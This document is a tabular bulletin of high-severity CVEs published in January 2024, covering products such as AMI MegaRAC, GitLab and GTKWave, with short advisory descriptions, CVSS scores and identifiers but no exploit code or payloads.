ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause a stack-based buffer overflow via an adjacent network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	8.8	CVE-2023-3043
ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause a stack-based buffer overflow via an adjacent network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	8.8	CVE-2023-37293
ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause a heap memory corruption via an adjacent network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	8.8	CVE-2023-37294
ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause a heap memory corruption via an adjacent network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	8.8	CVE-2023-37295
ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause a stack memory corruption via an adjacent network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	8.8	CVE-2023-37296
ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause a heap memory corruption via an adjacent network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	8.8	CVE-2023-37297
ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause an untrusted pointer to dereference by a local network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	7.8	CVE-2023-34332
ami -- megarac_sp-x	AMI's SPx contains a vulnerability in the BMC where an Attacker may cause an untrusted pointer to dereference via a local network. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.	2024-01-09	7.8	CVE-2023-34333
apache -- axis	** UNSUPPORTED WHEN ASSIGNED ** Improper Input Validation vulnerability in Apache Axis allowed users with access to the admin service to perform possible SSRF This issue affects Apache Axis: through 1.3. As Axis 1 has been EOL we recommend you migrate to a different SOAP engine, such as Apache Axis 2/Java. Alternatively you could use a build of Axis with the patch from https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06 applied. The Apache Axis project does not expect to create an Axis 1.x release fixing this problem, though contributors that would like to work towards this are welcome.	2024-01-06	7.2	CVE-2023-51441
apollo13themes -- apollo13_framework_extensions	Cross-Site Request Forgery (CSRF) vulnerability in Apollo13Themes Apollo13 Framework Extensions.This issue affects Apollo13 Framework Extensions: from n/a through 1.9.1.	2024-01-05	8.8	CVE-2023-51539
apple -- macos	The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. Processing a file may lead to arbitrary code execution.	2024-01-10	7.8	CVE-2023-42826
apple -- macos	The issue was addressed with improved bounds checks. This issue is fixed in macOS Sonoma 14. Processing a file may lead to a denial-of-service or potentially disclose memory contents.	2024-01-10	7.1	CVE-2023-42876
apple -- macos	This issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14. An app may be able to gain elevated privileges.	2024-01-10	7.8	CVE-2023-42933
atlassian -- confluence	An issue was discovered in savignano S/Notify before 4.0.2 for Confluence. While an administrative user is logged on, the configuration settings of S/Notify can be modified via a CSRF attack. The injection could be initiated by the administrator clicking a malicious link in an email or by visiting a malicious website. If executed while an administrator is logged on to Confluence, an attacker could exploit this to modify the configuration of the S/Notify app on that host. This can, in particular, lead to email notifications being no longer encrypted when they should be.	2024-01-09	8.3	CVE-2023-50932

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
azure -- ipam	Azure IPAM (IP Address Management) is a lightweight solution developed on top of the Azure platform designed to help Azure customers manage their IP Address space easily and effectively. By design there is no write access to customers' Azure environments as the Service Principal used is only assigned the Reader role at the root Management Group level. Until recently, the solution lacked the validation of the passed in authentication token which may result in attacker impersonating any privileged user to access data stored within the IPAM instance and subsequently from Azure, causing an elevation of privilege. This vulnerability has been patched in version 3.0.0.	2024-01-10	9.1	CVE-2024-21638
azuread -- activedirectory_identitymodel_extensions_for_dotnet	IdentityModel Extensions for .NET provide assemblies for web developers that wish to use federated identity providers for establishing the caller's identity. Anyone leveraging the `SignedHttpRequest`protocol or the `SignedHttpRequestValidator`is vulnerable. Microsoft.IdentityModel trusts the `jku`claim by default for the `SignedHttpRequest`protocol. This raises the possibility to make any remote or local `HTTP GET` request. The vulnerability has been fixed in Microsoft.IdentityModel.Protocols.SignedHttpRequest. Users should update all their Microsoft.IdentityModel versions to 7.1.2 (for 7x) or higher, 6.34.0 (for 6x) or higher.	2024-01-10	7.1	CVE-2024-21643
backupbliss -- clone	The Clone WordPress plugin before 2.4.3 uses buffer files to store in-progress backup informations, which is stored at a publicly accessible, statically defined file path.	2024-01-08	7.5	CVE-2023-6750
basixonline -- nex-forms	Cross-Site Request Forgery (CSRF) vulnerability in Basix NEX-Forms - Ultimate Form Builder - Contact forms and much more.This issue affects NEX-Forms - Ultimate Form Builder - Contact forms and much more: from n/a through 8.5.2.	2024-01-05	8.8	CVE-2023-52120
blueastral -- page_builder\	Deserialization of Untrusted Data vulnerability in Live Composer Team Page Builder: Live Composer live-composer-page-builder.This issue affects Page Builder: Live Composer: from n/a through 1.5.25.	2024-01-08	7.2	CVE-2023-52206
bosch -- bcc101	Network port 8899 open in WiFi firmware of BCC101/BCC102/BCC50 products, that allows an attacker to connect to the device via same WiFi network.	2024-01-09	8.3	CVE-2023-49722 psirt@bosch.com
briandgoad -- ptypeconverter	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Brian D. Goad pTypeConverter.This issue affects pTypeConverter: from n/a through 0.2.8.1.	2024-01-08	8.8	CVE-2023-52201
buy-addons -- bazoom_magnifier	SQL Injection vulnerability in Buy Addons baproductzoommagnifier module for PrestaShop versions 1.0.16 and before, allows remote attackers to escalate privileges and gain sensitive information via BaproductzoommagnifierZoomModuleFrontController::run() method.	2024-01-05	9.8	CVE-2023-50027
byzoro -- smart_s150_firmware	A vulnerability was found in Beijing Baichuo Smart S150 Management Platform up to 20240101. It has been rated as critical. Affected by this issue is some unknown functionality of the file /useratte/userattestation.php of the component HTTP POST Request Handler. The manipulation of the argument web_img leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-249866 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-08	9.8	CVE-2024-0300
canonical -- snapd	Race condition in snap-confine's must_mkdir_and_open_with_perms()	2024-01-08	7	CVE-2022-3328
checkmk -- checkmk	Insufficient authentication flow in Checkmk before 2.2.0p18, 2.1.0p38 and 2.0.0p39 allows attacker to use locked credentials	2024-01-12	8.8	CVE-2023-31211
checkmk -- checkmk	Privilege escalation in mk_tsm agent plugin in Checkmk before 2.2.0p18, 2.1.0p38 and 2.0.0p39 allows local user to escalate privileges	2024-01-12	8.8	CVE-2023-6735
checkmk -- checkmk	Privilege escalation in jar_signature agent plugin in Checkmk before 2.2.0p18, 2.1.0p38 and 2.0.0p39 allows local user to escalate privileges	2024-01-12	8.8	CVE-2023-6740
chendotjs -- lotos_webserver	Lotos WebServer through 0.1.1 (commit 3eb36cc) has a use-after-free in buffer_avail() at buffer.h via a long URI, because realloc is mishandled.	2024-01-05	9.8	CVE-2024-22088
cleantalk -- spam_protection\,_antispam\,_firewall	Cross-Site Request Forgery (CSRF) vulnerability in ?leanTalk - Anti-Spam Protection Spam protection, Anti-Spam, FireWall by CleanTalk.This issue affects Spam protection, Anti-Spam, FireWall by CleanTalk: from n/a through 6.20.	2024-01-05	8.8	CVE-2023-51535
clerk -- javascript	Clerk helps developers build user management. Unauthorized access or privilege escalation due to a logic flaw in auth() in the App Router or getAuth() in the Pages Router. This vulnerability was patched in version 4.29.3.	2024-01-12	9	CVE-2024-22206
cloud_foundry -- routing_release	Cloud Foundry routing release versions from v0.163.0 to v0.283.0 are vulnerable to a DOS attack. An unauthenticated attacker can use this vulnerability to force route pruning and therefore degrade the service availability of the Cloud Foundry deployment.	2024-01-12	7.5	CVE-2023-34061

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
code-projects -- dormitory_management_system	A vulnerability classified as critical was found in code-projects Dormitory Management System 1.0. Affected by this vulnerability is an unknown functionality of the file login.php. The manipulation of the argument username leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250579.	2024-01-12	7.3	CVE-2024-0474
code-projects -- simple_online_hotel_reservation_system	A vulnerability was found in code-projects Simple Online Hotel Reservation System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file login.php. The manipulation of the argument username/password leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-250126 is the identifier assigned to this vulnerability.	2024-01-10	9.8	CVE-2024-0359
constantcontact -- constant_contact_forms	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Constant Contact Constant Contact Forms.This issue affects Constant Contact Forms: from n/a through 2.4.2.	2024-01-08	7.5	CVE-2023-52208
cozmoslabs -- profile_builder_pro	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cozmoslabs Profile Builder Pro allows Reflected XSS.This issue affects Profile Builder Pro: from n/a through 3.10.0.	2024-01-13	7.1	CVE-2024-22142
dataiku -- data_science_studio	Dataiku DSS before 11.4.5 and 12.4.1 has Incorrect Access Control that could lead to a full authentication bypass.	2024-01-09	9.8	CVE-2023-51717
dedecms -- dedecms	A vulnerability classified as critical has been found in DeDeCMS up to 5.7.112. Affected is an unknown function of the file file_class.php of the component Backend. The manipulation leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249768. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-07	9.8	CVE-2023-7212
demon1a -- discord-recon	Discord-Recon is a Discord bot created to automate bug bounty recon, automated scans and information gathering via a discord server. Discord-Recon is vulnerable to remote code execution. An attacker is able to execute shell commands in the server without having an admin role. This vulnerability has been fixed in version 0.0.8.	2024-01-09	8.8	CVE-2024-21663
discourse -- discourse	Discourse is a platform for community discussion. The message serializer uses the full list of expanded chat mentions (@all and @here) which can lead to a very long array of users. This issue was patched in versions 3.1.4 and beta 3.2.0.beta5.	2024-01-12	8.6	CVE-2023-48297
dtale --dtale	D-Tale is a visualizer for Pandas data structures. Users hosting versions D-Tale prior to 3.9.0 publicly can be vulnerable to server-side request forgery (SSRF), allowing attackers to access files on the server. Users should upgrade to version 3.9.0, where the `Load From the Web` input is turned off by default. The only workaround for versions earlier than 3.9.0 is to only host D-Tale to trusted users.	2024-01-05	7.5	CVE-2024-21642
engineers_online_portal_project -- engineers_online_portal	A vulnerability, which was classified as problematic, was found in SourceCodester Engineers Online Portal 1.0. Affected is an unknown function of the file change_password_teacher.php of the component Password Change. The manipulation leads to session expiration. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249816.	2024-01-07	7.5	CVE-2024-0260
evernote -- evernote	An issue in Evernote Evernote for MacOS v.10.68.2 allows a remote attacker to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments components.	2024-01-09	9.8	CVE-2023-50643
fastify -- reply-from	fastify-reply-from is a Fastify plugin to forward the current HTTP request to another server. A reverse proxy server built with `@fastify/reply-from` could misinterpret the incoming body by passing an header `ContentType: application/json ; charset=utf-8`. This can lead to bypass of security checks. This vulnerability has been patched in '@fastify/reply-from` version 9.6.0.	2024-01-08	7.5	CVE-2023-51701
fhs-opensource -- iparking	A vulnerability classified as critical was found in fhs-opensource iparking 1.5.22.RELEASE. This vulnerability affects the function getData of the file src/main/java/com/xhb/pay/action/PayTempOrderAction.java. The manipulation leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-249868.	2024-01-08	9.8	CVE-2024-0301
fhs-opensource -- iparking	A vulnerability, which was classified as critical, has been found in fhs-opensource iparking 1.5.22.RELEASE. This issue affects some unknown processing of the file /vueLogin. The manipulation leads to deserialization. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249869 was assigned to this vulnerability.	2024-01-08	9.8	CVE-2024-0302

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
fit2cloud -- cloudexplorer_lite	Insecure Permissions vulnerability in fit2cloud Cloud Explorer Lite version 1.4.1, allow local attackers to escalate privileges and obtain sensitive information via the cloud accounts parameter.	2024-01-06	7.8	CVE-2023-50612
flycms_project -- flycms	FlyCms v1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /system/site/userconfig_updagte.	2024-01-08	8.8	CVE-2023-52072
flycms_project -- flycms	FlyCms v1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /system/site/config_footer_updagte.	2024-01-08	8.8	CVE-2023-52073
flycms_project -- flycms	FlyCms v1.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component system/site/webconfig_updagte.	2024-01-08	8.8	CVE-2023-52074
fonttools -- fonttools	fontTools is a library for manipulating fonts, written in Python. The subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. This vulnerability has been patched in version 4.43.0.	2024-01-10	7.5	CVE-2023-45139
fortinet -- fortios	An improper privilege management vulnerability [CWE-269] in a Fortinet FortiOS HA cluster version 7.4.0 through 7.4.1 and 7.2.5 and in a FortiProxy HA cluster version 7.4.0 through 7.4.1 allows an authenticated attacker to perform elevated actions via crafted HTTP or HTTPS requests.	2024-01-10	8.8	CVE-2023-44250 psirt@fortinet.com
fortinet -- fortiportal	A improper access control in Fortinet FortiPortal version 7.0.0 through 7.0.6, Fortinet FortiPortal version 7.2.0 through 7.2.1 allows attacker to escalate its privilege via specifically crafted HTTP requests.	2024-01-10	7.2	CVE-2023-46712 psirt@fortinet.com
framework -- framework	Flarum is open source discussion platform software. Prior to version 1.8.5, the Flarum `/logout` route includes a redirect parameter that allows any third party to redirect users from a (trusted) domain of the Flarum installation to redirect to any link. For logged-in users, the logout must be confirmed. Guests are immediately redirected. This could be used by spammers to redirect to a web address using a trusted domain of a running Flarum installation. The vulnerability has been fixed and published as flarum/core v1.8.5. As a workaround, some extensions modifying the logout route can remedy this issue if their implementation is safe.	2024-01-05	7.5	CVE-2024-21641
ftpdmin_project -- ftpdmin	A vulnerability has been found in Sentex FTPDMIN 0.96 and classified as problematic. Affected by this vulnerability is an unknown functionality of the component RNFR Command Handler. The manipulation leads to denial of service. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-249817 was assigned to this vulnerability.	2024-01-07	7.5	CVE-2024-0261
gecka -- terms_thumbnails	Deserialization of Untrusted Data vulnerability in Gecka Gecka Terms Thumbnails.This issue affects Gecka Terms Thumbnails: from n/a through 1.1.	2024-01-08	8.8	CVE-2023-52219
getawesomesupport -- awesome_support	Cross-Site Request Forgery (CSRF) vulnerability in Awesome Support Team Awesome Support - WordPress HelpDesk & Support Plugin.This issue affects Awesome Support - WordPress HelpDesk & Support Plugin: from n/a through 6.1.5.	2024-01-05	8.8	CVE-2023-51538
gitlab -- gitlab	An issue has been discovered in GitLab EE affecting all versions starting from 15.3 before 16.5.6, all versions starting from 16.6 before 16.6.4, all versions starting from 16.7 before 16.7.2. The required CODEOWNERS approval could be bypassed by adding changes to a previously approved merge request.	2024-01-12	7.6	CVE-2023-4812
gitlab -- gitlab	Incorrect authorization checks in GitLab CE/EE from all versions starting from 8.13 before 16.5.6, all versions starting from 16.6 before 16.6.4, all versions starting from 16.7 before 16.7.2, allows a user to abuse slack/mattermost integrations to execute slash commands as another user.	2024-01-12	7.3	CVE-2023-5356
gitlab -- gitlab	An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.	2024-01-12	10	CVE-2023-7028
gitpython-developers -- gitpython	GitPython is a python library used to interact with Git repositories. There is an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run `git`, as well as when it runs `bash.exe` to interpret hooks. If either of those features are used on Windows, a malicious `git.exe` or `bash.exe` may be run from an untrusted repository. This issue has been patched in version 3.1.41.	2024-01-11	7.8	CVE-2024-22190
go-git -- go-git	A path traversal vulnerability was discovered in go-git versions prior to v5.11. This vulnerability allows an attacker to create and amend files across the filesystem. In the worse case scenario, remote code execution could be achieved. Applications are only affected if they are using the ChrootOS https://pkg.go.dev/github.com/go-git/go-billy/v5/osfs#ChrootOS , which is the default when using "Plain" versions of Open and Clone funcs (e.g. PlainClone). Applications using BoundOS https://pkg.go.dev/github.com/go-git/go-billy/v5/osfs#BoundOS or in-	2024-01-12	9.8	CVE-2023-49569

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	memory filesystems are not affected by this issue. This is a go-git implementation issue and does not affect the upstream git cli.			
go-git -- go-git	A denial of service (DoS) vulnerability was discovered in go-git versions prior to v5.11. This vulnerability allows an attacker to perform denial of service attacks by providing specially crafted responses from a Git server which triggers resource exhaustion in go-git clients. Applications using only the in-memory filesystem supported by go-git are not affected by this vulnerability. This is a go-git implementation issue and does not affect the upstream git cli.	2024-01-12	7.5	CVE-2023-49568
goauthentik -- authentik	Authentik is an open-source Identity Provider. Authentik is a vulnerable to a reflected Cross-Site Scripting vulnerability via JavaScript-URIs in OpenID Connect flows with `response_mode=form_post`. This relatively user could use the described attacks to perform a privilege escalation. This vulnerability has been patched in versions 2023.10.6 and 2023.8.6.	2024-01-11	7.6	CVE-2024-21637
gofiber -- template	This package provides universal methods to use multiple template engines with the Fiber web framework using the Views interface. This vulnerability specifically impacts web applications that render user-supplied data through this template engine, potentially leading to the execution of malicious scripts in users' browsers when visiting affected web pages. The vulnerability has been addressed, the template engine now defaults to having autoescape set to `true`, effectively mitigating the risk of XSS attacks.	2024-01-11	9.3	CVE-2024-22199
gpac -- gpac	Stack-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.3-DEV.	2024-01-08	9.8	CVE-2024-0321 security@huntr.dev security@huntr.dev
gpac -- gpac	Out-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV.	2024-01-08	9.1	CVE-2024-0322 security@huntr.dev security@huntr.dev
gtkwave -- gtkwave	An integer overflow vulnerability exists in the FST_BL_GEOM parsing maxhandle functionality of GTKWave 3.3.115, when compiled as a 32-bit binary. A specially crafted .fst file can lead to memory corruption. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-32650
gtkwave -- gtkwave	An improper array index validation vulnerability exists in the EVCD var len parsing functionality of GTKWave 3.3.115. A specially crafted .evcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-34087
gtkwave -- gtkwave	An out-of-bounds write vulnerability exists in the LXT2 num_time_table_entries functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-34436
gtkwave -- gtkwave	An integer overflow vulnerability exists in the VZT longest_len value allocation functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-35004
gtkwave -- gtkwave	An integer overflow vulnerability exists in the LXT2 lxt2_rd_trace value elements allocation functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to memory corruption. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-35057
gtkwave -- gtkwave	An integer overflow vulnerability exists in the fstReaderIterBlocks2 time_table tsec_nitems functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to memory corruption. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-35128
gtkwave -- gtkwave	Multiple stack-based buffer overflow vulnerabilities exist in the FST LEB128 varint functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the fstReaderVarint32 function.	2024-01-08	7.8	CVE-2023-35702
gtkwave -- gtkwave	Multiple stack-based buffer overflow vulnerabilities exist in the FST LEB128 varint functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the fstReaderVarint64 function.	2024-01-08	7.8	CVE-2023-35703
gtkwave -- gtkwave	Multiple stack-based buffer overflow vulnerabilities exist in the FST LEB128 varint functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary	2024-01-08	7.8	CVE-2023-35704

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the fstReaderVarint32WithSkip function.			
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 VCDATA parsing functionality of GTKWave 3.3.115. A specially-crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the decompression function `LZ4_decompress_safe_partial`.	2024-01-08	7.8	CVE-2023-35955
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 VCDATA parsing functionality of GTKWave 3.3.115. A specially-crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the decompression function `fastlz_decompress`.	2024-01-08	7.8	CVE-2023-35956
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 VCDATA parsing functionality of GTKWave 3.3.115. A specially-crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the decompression function `uncompress`.	2024-01-08	7.8	CVE-2023-35957
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 VCDATA parsing functionality of GTKWave 3.3.115. A specially-crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the copy function `fstFread`.	2024-01-08	7.8	CVE-2023-35958
gtkwave -- gtkwave	Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns `.ghw` decompression.	2024-01-08	7.8	CVE-2023-35959
gtkwave -- gtkwave	Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns legacy decompression in `vcd_main`.	2024-01-08	7.8	CVE-2023-35960
gtkwave -- gtkwave	Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in `vcd_recorder_main`.	2024-01-08	7.8	CVE-2023-35961
gtkwave -- gtkwave	Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in the `vcd2vzt` utility.	2024-01-08	7.8	CVE-2023-35962
gtkwave -- gtkwave	Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in the `vcd2lxt2` utility.	2024-01-08	7.8	CVE-2023-35963
gtkwave -- gtkwave	Multiple OS command injection vulnerabilities exist in the decompression functionality of GTKWave 3.3.115. A specially crafted wave file can lead to arbitrary command execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns decompression in the `vcd2lxt` utility.	2024-01-08	7.8	CVE-2023-35964
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 chain_table parsing functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the chain_table of `FST_BL_VCDATA` and `FST_BL_VCDATA_DYN_ALIAS` section types.	2024-01-08	7.8	CVE-2023-35969
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 chain_table parsing functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the chain_table of the `FST_BL_VCDATA_DYN_ALIAS2` section type.	2024-01-08	7.8	CVE-2023-35970
gtkwave -- gtkwave	An integer overflow vulnerability exists in the LXT2 zlib block allocation functionality of GTKWave 3.3.115. A specially crafted .lxt2 file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-35989
gtkwave -- gtkwave	An integer overflow vulnerability exists in the FST fstReaderIterBlocks2 vesc allocation functionality of GTKWave 3.3.115, when compiled as a 32-bit binary. A specially crafted .fst file can lead to memory corruption. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-35992

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
gtkwave -- gtkwave	Multiple improper array index validation vulnerabilities exist in the fstReaderIterBlocks2 tdelta functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the tdelta initialization part.	2024-01-08	7.8	CVE-2023-35994
gtkwave -- gtkwave	Multiple improper array index validation vulnerabilities exist in the fstReaderIterBlocks2 tdelta functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the tdelta indexing when signal_lens is 1.	2024-01-08	7.8	CVE-2023-35995
gtkwave -- gtkwave	Multiple improper array index validation vulnerabilities exist in the fstReaderIterBlocks2 tdelta functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the tdelta indexing when signal_lens is 0.	2024-01-08	7.8	CVE-2023-35996
gtkwave -- gtkwave	Multiple improper array index validation vulnerabilities exist in the fstReaderIterBlocks2 tdelta functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the tdelta indexing when signal_lens is 2 or more.	2024-01-08	7.8	CVE-2023-35997
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 fstWritex len functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the handling of `len` in `fstWritex` when parsing the time table.	2024-01-08	7	CVE-2023-36746
gtkwave -- gtkwave	Multiple heap-based buffer overflow vulnerabilities exist in the fstReaderIterBlocks2 fstWritex len functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to memory corruption. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the handling of `len` in `fstWritex` when `beg_time` does not match the start of the time table.	2024-01-08	7	CVE-2023-36747
gtkwave -- gtkwave	An out-of-bounds write vulnerability exists in the VZT LZMA_read_varint functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-36861
gtkwave -- gtkwave	An integer overflow vulnerability exists in the fstReaderIterBlocks2 temp_signal_value_buf allocation functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-36864
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the FST fstReaderIterBlocks2 chain_table allocation functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the allocation of the `chain_table` array.	2024-01-08	7.8	CVE-2023-36915
gtkwave -- gtkwave	Multiple integer overflow vulnerabilities exist in the FST fstReaderIterBlocks2 chain_table allocation functionality of GTKWave 3.3.115. A specially crafted .fst file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the allocation of the `chain_table_lengths` array.	2024-01-08	7.8	CVE-2023-36916
gtkwave -- gtkwave	An out-of-bounds write vulnerability exists in the VZT LZMA_Read dmem extraction functionality of GTKWave 3.3.115. A specially crafted .vzt file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.	2024-01-08	7.8	CVE-2023-37282
gtkwave -- gtkwave	Multiple out-of-bounds write vulnerabilities exist in the VCD parse_valuechange portdump functionality of GTKWave 3.3.115. A specially crafted .vcd file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger these vulnerabilities.This vulnerability concerns the out-of-bounds write when triggered via the GUI's legacy VCD parsing code.	2024-01-08	7.8	CVE-2023-37416
